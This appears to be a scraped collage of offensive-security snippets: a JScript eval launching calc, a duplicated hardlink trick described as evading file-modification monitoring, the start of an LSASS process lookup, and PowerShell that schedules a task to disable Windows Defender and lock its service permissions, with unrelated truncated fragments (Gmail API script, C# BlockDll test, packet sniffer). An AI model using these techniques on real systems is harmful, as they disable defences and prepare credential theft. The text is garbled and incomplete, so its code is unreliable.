Marcello byt3bl33d3r

Malware Sample Inspected

test.js

eval("WScript.CreateObject(\"WScript.Shell\").Run(\"calc.exe\");");

Prerequisites

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

	#define _CRT_SECURE_NO_WARNINGS
	#include <Windows.h>
	#include <Psapi.h>
	#include <TlHelp32.h>
	#include <iostream>

	DWORD GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

	$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
	Register-ScheduledTask -TaskName 'TestTask' -Action $a

	$svc = New-Object -ComObject 'Schedule.Service'
	$svc.Connect()

	$user = 'NT SERVICE\TrustedInstaller'
	$folder = $svc.GetFolder('\')

	from __future__ import print_function
	import pickle
	import os.path
	from googleapiclient.discovery import build
	from google_auth_oauthlib.flow import InstalledAppFlow
	from google.auth.transport.requests import Request
	from apiclient import errors
	import re
	from bs4 import BeautifulSoup as Soup

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{

	#!/usr/bin/env python

	'''
	It has been tested with either py2 or py3.
	Beware ancient versions of Linux kernel which may not support SOCK_NONBLOCK
	or the memory mapped ring buffer.

	BPF filter listed below is compiled form of "not port 22"
	if you want to change it, do something like